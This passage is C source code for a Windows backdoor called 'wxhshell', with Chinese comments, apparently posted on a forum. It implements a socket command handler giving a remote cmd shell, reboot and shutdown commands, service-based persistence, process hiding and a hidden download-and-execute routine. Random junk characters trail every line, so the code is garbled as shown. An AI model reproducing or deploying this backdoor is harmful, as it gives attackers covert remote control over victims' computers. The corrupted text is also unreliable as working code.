  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SbNs#  
  } 3:Aw.-,i\  
  else { ~429sT(   
<#U9ih 2  
    switch(cmd[0]) { sh []OSM  
  `C~RA, M  
  // 帮助 . z/M (  
  case '?': { WPBn?vb0<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HS{a^c%  
    break; W]!{Y'G  
  } re9*q   
  // 安装 Q:I2\E  
  case 'i': { {shf\pm!o  
    if(Install()) X<\y%2B|l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4\)"Ih  
    else 2s{PE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*i qg[:  
    break; bT|N Z!V  
    } j tdhdA  
  // 卸载 j9zK=eG  
  case 'r': { ]UG+<V ,:  
    if(Uninstall()) ]Mu + DZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8r^~`rL  
    else pyEi@L1p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T:ye2yg  
    break; jseyT#2  
    } ! 6kLL  
  // 显示 wxhshell 所在路径  y{h y  
  case 'p': { +{V"a<D$m  
    char svExeFile[MAX_PATH]; V`OeJVe  
    strcpy(svExeFile,"\n\r"); ]I9Hbw  
      strcat(svExeFile,ExeFile); ~]HeoQK  
        send(wsh,svExeFile,strlen(svExeFile),0); 6iwIEb  
    break; yvxdl=s  
    } x0^O?UR  
  // 重启 x!klnpGp  
  case 'b': { 2c>eMfa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8*rd`k1 |g  
    if(Boot(REBOOT)) d\aarhD8*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14TA( v]T  
    else { 8(R%?> 8  
    closesocket(wsh); ueO&%  
    ExitThread(0); {C>.fg%t  
    } N&`VMEB)k  
    break; "4c ?hH:C  
    } +u%^YBr  
  // 关机 UUy%:t  
  case 'd': { n:zoN2lC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )i&z!|/2  
    if(Boot(SHUTDOWN)) +I$c+WfU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B4^+&B#  
    else { WvG0hts=[  
    closesocket(wsh); cE}R7,y  
    ExitThread(0); z?$F2+f&  
    } {HKd="%VG  
    break; G}aw{Vbg_  
    } # Ny  
  // 获取shell WVc3C-h,  
  case 's': { v?zA86d_  
    CmdShell(wsh); xaO9?{O  
    closesocket(wsh); TJ@@k SSbl  
    ExitThread(0); 3F'{JP  
    break; H`/Q hE  
  } W=T3sp V  
  // 退出 KlMrM% ;y  
  case 'x': { %} WSw~X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y2k '^zE  
    CloseIt(wsh); jU2Dpxkt  
    break;  %Gp%l  
    } JzD Mx?  
  // 离开 W:q79u yX  
  case 'q': { 5t]}(.0+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +TW9BU'a^  
    closesocket(wsh); ta]B9&c  
    WSACleanup();  6e,|HV  
    exit(1); D>9~JHB  
    break; tx}} Kd  
        } J(*q OGBD  
  } aY8"Sw|4  
  } >jEn>H?  
Xz)UH<  
  // 提示信息 'Eds0"3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -x~h.s,  
} m9bR %j  
  } &jCT-dj  
* z|i{=W F  
  return; Wx#((T  
} < aeBhg%  
g z!q  
// shell模块句柄 y+f@8]  
int CmdShell(SOCKET sock) (lbF/F>v  
{ c"BFkw  
STARTUPINFO si; m(QGP\Ya  
ZeroMemory(&si,sizeof(si)); :0,q>w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ( zQ)EHRD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hS]g^S==2h  
PROCESS_INFORMATION ProcessInfo; [r'PGx  
char cmdline[]="cmd"; Y1a[HF^-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,bT|:T@ny  
  return 0; M,]C(f>  
} 3R(GO.n=]  
8hWB TUN  
// 自身启动模式 } DY{>D>  
int StartFromService(void) `>CHE'_  
{ fl| 8#\r  
typedef struct m1@ste;$W  
{ dz fR ^Gv  
  DWORD ExitStatus; TWF6YAQ m  
  DWORD PebBaseAddress; RAMkTS  
  DWORD AffinityMask; &$yC +cf  
  DWORD BasePriority; n4Fh*d ixg  
  ULONG UniqueProcessId; 8A/;a{   
  ULONG InheritedFromUniqueProcessId; aty"6~  
}   PROCESS_BASIC_INFORMATION; 4Q2=\-KFj  
}7iWmXlI  
PROCNTQSIP NtQueryInformationProcess; PI{;3X}9$,  
tpe:]T/xh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *,$cW ,LN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9(?9yFbj5  
N3?hyR<T  
  HANDLE             hProcess; SN!TE,=I  
  PROCESS_BASIC_INFORMATION pbi; s*`_Ka57]~  
>ZMB}pt`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A4RA5N/}  
  if(NULL == hInst ) return 0; XWH{+c"  
Il(p!l<Xz#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); om%L>zfB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _`yd"0 Ux  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  pME17 af  
j8p</gd  
  if (!NtQueryInformationProcess) return 0; ,ra!O=d~0  
S a5+_TW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -dXlGOD+C  
  if(!hProcess) return 0; ? b;_T,S[  
H/8H`9S$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <CrNDY  
ACQc 0:q  
  CloseHandle(hProcess); mQ 1)d5  
uC{qaMQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dQUZ11  
if(hProcess==NULL) return 0; X0<qG  
P:GAJ->;]>  
HMODULE hMod; {)j~5m.,/o  
char procName[255]; Oax*3TD  
unsigned long cbNeeded; #+)AIf  
2=Sv#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V~j:!=b%v  
f,QoA  
  CloseHandle(hProcess); "`P/j+-rt  
S/ YT V  
if(strstr(procName,"services")) return 1; // 以服务启动 j#^EZ/  
O$QtZE61  
  return 0; // 注册表启动 U5X\RXy~  
} *1F DK{  
j`JY3RDD  
// 主模块 W;~ f865  
int StartWxhshell(LPSTR lpCmdLine) (S1c6~  
{ on?<3eED  
  SOCKET wsl; v&t~0jX,  
BOOL val=TRUE; YyOPgF] M  
  int port=0; h`O"]2  
  struct sockaddr_in door; Z05kn{<a8  
<9zzjgzG{c  
  if(wscfg.ws_autoins) Install(); ?f@g1jJP  
DONXq]f:,"  
port=atoi(lpCmdLine); ~)!yl. H  
~)5NX 4Po  
if(port<=0) port=wscfg.ws_port; p,_,o3@~  
2tz%A~}4  
  WSADATA data; p;;4b@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; USF9sF0l  
,;3#}OGg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }yQ&[Mt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P2y`d9,Q  
  door.sin_family = AF_INET; l=EnK"aU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DK' ? '  
  door.sin_port = htons(port); XY1D<  
TJ k3z^.j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KGsS2  
closesocket(wsl); P#^-{;Bu  
return 1; X.~z:W+  
} ze* =7  
=Uy;8et  
  if(listen(wsl,2) == INVALID_SOCKET) { <(YE_<F*  
closesocket(wsl); O~3<P3W  
return 1; <sU?q<MC  
} WiDl[l"{9  
  Wxhshell(wsl); ckn0I  
  WSACleanup(); m |K"I3W$  
-Ky<P<@ezm  
return 0; | .w'Z7(s  
_+c' z  
} Be~__pd  
nV/8u_  
// 以NT服务方式启动 zKRt\;PW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2~`lvx  
{ r~mZ?dI  
DWORD   status = 0; t:MeSO  
  DWORD   specificError = 0xfffffff; R/!lDv!  
/j7e q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &j}08aK%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9;W 2zcN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *\#/4_yB}  
  serviceStatus.dwWin32ExitCode     = 0; 12{F  
  serviceStatus.dwServiceSpecificExitCode = 0; Uh6LU5  
  serviceStatus.dwCheckPoint       = 0; P X9GiJN"  
  serviceStatus.dwWaitHint       = 0; d|I_SI1  
x9ll0Ht  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TA2HAMx)  
  if (hServiceStatusHandle==0) return; n6AN  
O} #Ic$38  
status = GetLastError(); ^?+qNbK  
  if (status!=NO_ERROR) _H{6{!=y  
{ /-J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .>QzM>zO  
    serviceStatus.dwCheckPoint       = 0; jl-2)<  
    serviceStatus.dwWaitHint       = 0; Whoqs_Mm{  
    serviceStatus.dwWin32ExitCode     = status; qV;E% XkkS  
    serviceStatus.dwServiceSpecificExitCode = specificError; =sm<B^yj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X`/GiYTu  
    return; @wvgMu  
  } b#uNdq3  
#%Hk-a=>)#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'SW%EVB  
  serviceStatus.dwCheckPoint       = 0; Bf5Z  
  serviceStatus.dwWaitHint       = 0; QR+xPY~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0B}O&DC%|  
} vR"?XqgZ  
$7bLw)7  
// 处理NT服务事件,比如:启动、停止 W D/\f$4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7pllzy  
{ 'iY~F0U  
switch(fdwControl) Zr(4Q9fDo  
{ (M0"I1g|w  
case SERVICE_CONTROL_STOP: `i!BXOOV{  
  serviceStatus.dwWin32ExitCode = 0; z6IOVQ*r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [Sr^CY P(  
  serviceStatus.dwCheckPoint   = 0; ?g{--'L  
  serviceStatus.dwWaitHint     = 0; V8w7U:K  
  { 8+f{ /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rt rPRR\:"  
  } Sb4^* $uz  
  return; uOQ!av2"Rf  
case SERVICE_CONTROL_PAUSE: RGu`Jk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f-.dL  
  break; r5RUgt  
case SERVICE_CONTROL_CONTINUE: J# >)+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a/\SPXQ/9  
  break; x5w5xw  
case SERVICE_CONTROL_INTERROGATE: )])nd "E  
  break; }}Zwdpo  
}; |?cL>]t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =l)D$l  
} 3# g"Z7/  
@:dn\{Zsea  
// 标准应用程序主函数 k!Ym<RD%N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ir\P[A  
{ E ,kDy:  
Y9 /`w@"v  
// 获取操作系统版本 |D% O`[k+  
OsIsNt=GetOsVer(); $#z-b@s=B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); { 4 n  
4,,@o  
  // 从命令行安装 }s7@0#j@a  
  if(strpbrk(lpCmdLine,"iI")) Install(); OXxgnn>W'  
m/e*P*\ =  
  // 下载执行文件 =:M/hM)#  
if(wscfg.ws_downexe) { QGCg~TV;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o&t*[#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~|lEi1|  
} 6%a9%Is!O  
-Qy@-s $  
if(!OsIsNt) { ]x1;uE?1J  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;tJ}*!z W  
HideProc(); 8|LU=p`y'  
StartWxhshell(lpCmdLine); QO/nUl0E  
} !.G knDT  
else cMfJq}C<  
  if(StartFromService()) =Lh8#>T\h  
  // 以服务方式启动 {e+}jZ[L  
  StartServiceCtrlDispatcher(DispatchTable); @*16agGg  
else rNK<p3=7)  
  // 普通方式启动 }PXtwp13&u  
  StartWxhshell(lpCmdLine); bA-/"'Vp9  
KqL+R$??"(  
return 0; D03QisH=  
}
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只看该作者 1 发表于: 2006-10-10
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